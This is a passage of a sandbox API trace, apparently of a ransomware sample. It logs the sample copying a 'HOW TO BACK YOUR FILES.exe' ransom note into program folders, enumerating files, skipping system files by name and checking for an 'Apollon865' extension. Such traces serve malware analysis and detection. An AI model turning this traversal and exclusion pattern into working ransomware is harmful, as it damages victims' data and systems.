	[0055.447] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin"
	[0055.447] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.460] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.460] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x391fcab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x391fcab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.460] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.460] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.460] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.460] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x391fcab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x391fcab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.460] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.460] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.460] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.460] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.460] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1
	[0055.460] lstrcmpiW (lpString1="deployJava1.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.460] lstrcmpiW (lpString1="deployJava1.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.460] lstrcmpiW (lpString1="deployJava1.dll", lpString2=".") returned 1
	[0055.460] lstrcmpiW (lpString1="deployJava1.dll", lpString2="..") returned 1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="windows") returned -1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="bootmgr") returned 1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="temp") returned -1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="pagefile.sys") returned -1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="boot") returned 1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="ids.txt") returned -1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="ntuser.dat") returned -1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="perflogs") returned -1
	[0055.461] lstrcmpiW (lpString1="deployJava1.dll", lpString2="MSBuild") returned -1
	[0055.461] lstrlenW (lpString="deployJava1.dll") returned 15
	[0055.461] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*") returned 47
	[0055.461] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="deployJava1.dll" | out: lpString1="deployJava1.dll") returned="deployJava1.dll"
	[0055.461] lstrlenW (lpString="deployJava1.dll") returned 15
	[0055.461] lstrlenW (lpString="Apollon865") returned 10
	[0055.461] lstrcmpiW (lpString1="yJava1.dll", lpString2="Apollon865") returned 1
	[0055.461] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="npdeployJava1.dll" | out: lpString1="npdeployJava1.dll") returned="npdeployJava1.dll"
	[0055.461] lstrlenW (lpString="npdeployJava1.dll") returned 17
	[0055.461] lstrlenW (lpString="Apollon865") returned 10
	[0055.461] lstrcmpiW (lpString1="yJava1.dll", lpString2="Apollon865") returned 1
	[0055.461] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client"
	[0055.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0055.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0055.461] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned 43
	[0055.461] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client"
	[0055.461] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.461] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.467] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.467] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39222c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39222c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.467] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.467] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.467] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.467] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39222c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39222c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.467] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.467] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.467] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.467] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.467] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1
	[0055.467] lstrcmpiW (lpString1="classes.jsa", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="Apollon865.txt.exe") returned 1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2=".") returned 1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="..") returned 1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="windows") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="bootmgr") returned 1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="temp") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="pagefile.sys") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="boot") returned 1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="ids.txt") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="ntuser.dat") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="perflogs") returned -1
	[0055.468] lstrcmpiW (lpString1="classes.jsa", lpString2="MSBuild") returned -1
	[0055.468] lstrlenW (lpString="classes.jsa") returned 11
	[0055.468] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*") returned 45
	[0055.468] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="classes.jsa" | out: lpString1="classes.jsa") returned="classes.jsa"
	[0055.468] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa", dwFileAttributes=0x20) returned 1
	[0055.468] lstrlenW (lpString="classes.jsa") returned 11
	[0055.468] lstrlenW (lpString="Apollon865") returned 10
	[0055.468] lstrcmpiW (lpString1="lasses.jsa", lpString2="Apollon865") returned 1
	[0055.468] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="jvm.dll" | out: lpString1="jvm.dll") returned="jvm.dll"
	[0055.468] lstrlenW (lpString="jvm.dll") returned 7
	[0055.468] lstrlenW (lpString="Apollon865") returned 10
	[0055.469] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Xusage.txt" | out: lpString1="Xusage.txt") returned="Xusage.txt"
	[0055.469] lstrlenW (lpString="Xusage.txt") returned 10
	[0055.469] lstrlenW (lpString="Apollon865") returned 10
	[0055.469] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer"
	[0055.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0055.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0055.469] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer") returned 40
	[0055.469] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Internet Explorer" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer"
	[0055.469] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.473] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.473] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39222c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39222c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.473] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.473] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.473] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.473] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39222c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39222c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.473] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.473] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.473] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0055.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0055.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
	[0055.473] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0055.473] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0055.473] lstrcmpiW (lpString1="ExtExport.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.473] lstrcmpiW (lpString1="ExtExport.exe", lpString2="Apollon865.txt.exe") returned 1
	[0055.473] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ExtExport.exe" | out: lpString1="ExtExport.exe") returned="ExtExport.exe"
	[0055.473] lstrlenW (lpString="ExtExport.exe") returned 13
	[0055.473] lstrlenW (lpString="Apollon865") returned 10
	[0055.474] lstrcmpiW (lpString1="Export.exe", lpString2="Apollon865") returned 1
	[0055.474] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="hmmapi.dll" | out: lpString1="hmmapi.dll") returned="hmmapi.dll"
	[0055.474] lstrlenW (lpString="hmmapi.dll") returned 10
	[0055.474] lstrlenW (lpString="Apollon865") returned 10
	[0055.474] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ie8props.propdesc" | out: lpString1="ie8props.propdesc") returned="ie8props.propdesc"
	[0055.474] lstrlenW (lpString="ie8props.propdesc") returned 17
	[0055.474] lstrlenW (lpString="Apollon865") returned 10
	[0055.474] lstrcmpiW (lpString1="s.propdesc", lpString2="Apollon865") returned 1
	[0055.474] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="iecompat.dll" | out: lpString1="iecompat.dll") returned="iecompat.dll"
	[0055.474] lstrlenW (lpString="iecompat.dll") returned 12
	[0055.474] lstrlenW (lpString="Apollon865") returned 10
	[0055.474] lstrcmpiW (lpString1="compat.dll", lpString2="Apollon865") returned 1
	[0055.474] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="iedvtool.dll" | out: lpString1="iedvtool.dll") returned="iedvtool.dll"
	[0055.474] lstrlenW (lpString="iedvtool.dll") returned 12
	[0055.474] lstrlenW (lpString="Apollon865") returned 10
	[0055.474] lstrcmpiW (lpString1="dvtool.dll", lpString2="Apollon865") returned 1
	[0055.474] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ieinstal.exe" | out: lpString1="ieinstal.exe") returned="ieinstal.exe"
	[0055.474] lstrlenW (lpString="ieinstal.exe") returned 12
	[0055.474] lstrlenW (lpString="Apollon865") returned 10
	[0055.474] lstrcmpiW (lpString1="instal.exe", lpString2="Apollon865") returned 1
	[0055.474] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ielowutil.exe" | out: lpString1="ielowutil.exe") returned="ielowutil.exe"
	[0055.474] lstrlenW (lpString="ielowutil.exe") returned 13
	[0055.475] lstrlenW (lpString="Apollon865") returned 10
	[0055.475] lstrcmpiW (lpString1="owutil.exe", lpString2="Apollon865") returned 1
	[0055.475] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ieproxy.dll" | out: lpString1="ieproxy.dll") returned="ieproxy.dll"
	[0055.475] lstrlenW (lpString="ieproxy.dll") returned 11
	[0055.475] lstrlenW (lpString="Apollon865") returned 10
	[0055.475] lstrcmpiW (lpString1="eproxy.dll", lpString2="Apollon865") returned 1
	[0055.475] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="IEShims.dll" | out: lpString1="IEShims.dll") returned="IEShims.dll"
	[0055.475] lstrlenW (lpString="IEShims.dll") returned 11
	[0055.475] lstrlenW (lpString="Apollon865") returned 10
	[0055.475] lstrcmpiW (lpString1="EShims.dll", lpString2="Apollon865") returned 1
	[0055.475] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="iexplore.exe" | out: lpString1="iexplore.exe") returned="iexplore.exe"
	[0055.475] lstrlenW (lpString="iexplore.exe") returned 12
	[0055.475] lstrlenW (lpString="Apollon865") returned 10
	[0055.475] lstrcmpiW (lpString1="xplore.exe", lpString2="Apollon865") returned 1
	[0055.475] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="jsdbgui.dll" | out: lpString1="jsdbgui.dll") returned="jsdbgui.dll"
	[0055.475] lstrlenW (lpString="jsdbgui.dll") returned 11
	[0055.475] lstrlenW (lpString="Apollon865") returned 10
	[0055.475] lstrcmpiW (lpString1="sdbgui.dll", lpString2="Apollon865") returned 1
	[0055.475] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="jsdebuggeride.dll" | out: lpString1="jsdebuggeride.dll") returned="jsdebuggeride.dll"
	[0055.475] lstrlenW (lpString="jsdebuggeride.dll") returned 17
	[0055.475] lstrlenW (lpString="Apollon865") returned 10
	[0055.475] lstrcmpiW (lpString1="geride.dll", lpString2="Apollon865") returned 1
	[0055.475] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="JSProfilerCore.dll" | out: lpString1="JSProfilerCore.dll") returned="JSProfilerCore.dll"
	[0055.476] lstrlenW (lpString="JSProfilerCore.dll") returned 18
	[0055.476] lstrlenW (lpString="Apollon865") returned 10
	[0055.476] lstrcmpiW (lpString1="erCore.dll", lpString2="Apollon865") returned 1
	[0055.476] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="jsprofilerui.dll" | out: lpString1="jsprofilerui.dll") returned="jsprofilerui.dll"
	[0055.476] lstrlenW (lpString="jsprofilerui.dll") returned 16
	[0055.476] lstrlenW (lpString="Apollon865") returned 10
	[0055.476] lstrcmpiW (lpString1="ilerui.dll", lpString2="Apollon865") returned 1
	[0055.476] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="msdbg2.dll" | out: lpString1="msdbg2.dll") returned="msdbg2.dll"
	[0055.476] lstrlenW (lpString="msdbg2.dll") returned 10
	[0055.476] lstrlenW (lpString="Apollon865") returned 10
	[0055.476] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="pdm.dll" | out: lpString1="pdm.dll") returned="pdm.dll"
	[0055.476] lstrlenW (lpString="pdm.dll") returned 7
	[0055.476] lstrlenW (lpString="Apollon865") returned 10
	[0055.476] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="reef.exe" | out: lpString1="reef.exe") returned="reef.exe"
	[0055.476] lstrlenW (lpString="reef.exe") returned 8
	[0055.476] lstrlenW (lpString="Apollon865") returned 10
	[0055.476] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="SIGNUP" | out: lpString1="SIGNUP") returned="SIGNUP"
	[0055.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0055.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0055.476] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0055.476] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0055.476] lstrcmpiW (lpString1="sqmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.476] lstrcmpiW (lpString1="sqmapi.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.476] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll"
	[0055.476] lstrlenW (lpString="sqmapi.dll") returned 10
	[0055.476] lstrlenW (lpString="Apollon865") returned 10
	[0055.477] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP"
	[0055.477] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0055.477] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0055.477] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned 47
	[0055.477] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP"
	[0055.477] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.481] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.481] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x39248d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39248d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.481] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.481] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.481] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="install.ins" | out: lpString1="install.ins") returned="install.ins"
	[0055.481] lstrlenW (lpString="install.ins") returned 11
	[0055.481] lstrlenW (lpString="Apollon865") returned 10
	[0055.481] lstrcmpiW (lpString1="nstall.ins", lpString2="Apollon865") returned 1
	[0055.482] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Internet Explorer\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned="C:\\Program Files (x86)\\Internet Explorer\\en-US"
	[0055.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0055.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0055.482] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned 46
	[0055.482] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Internet Explorer\\en-US" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned="C:\\Program Files (x86)\\Internet Explorer\\en-US"
	[0055.482] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.486] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.486] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x39248d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39248d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.486] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.486] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.486] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="hmmapi.dll.mui" | out: lpString1="hmmapi.dll.mui") returned="hmmapi.dll.mui"
	[0055.486] lstrlenW (lpString="hmmapi.dll.mui") returned 14
	[0055.486] lstrlenW (lpString="Apollon865") returned 10
	[0055.486] lstrcmpiW (lpString1="pi.dll.mui", lpString2="Apollon865") returned 1
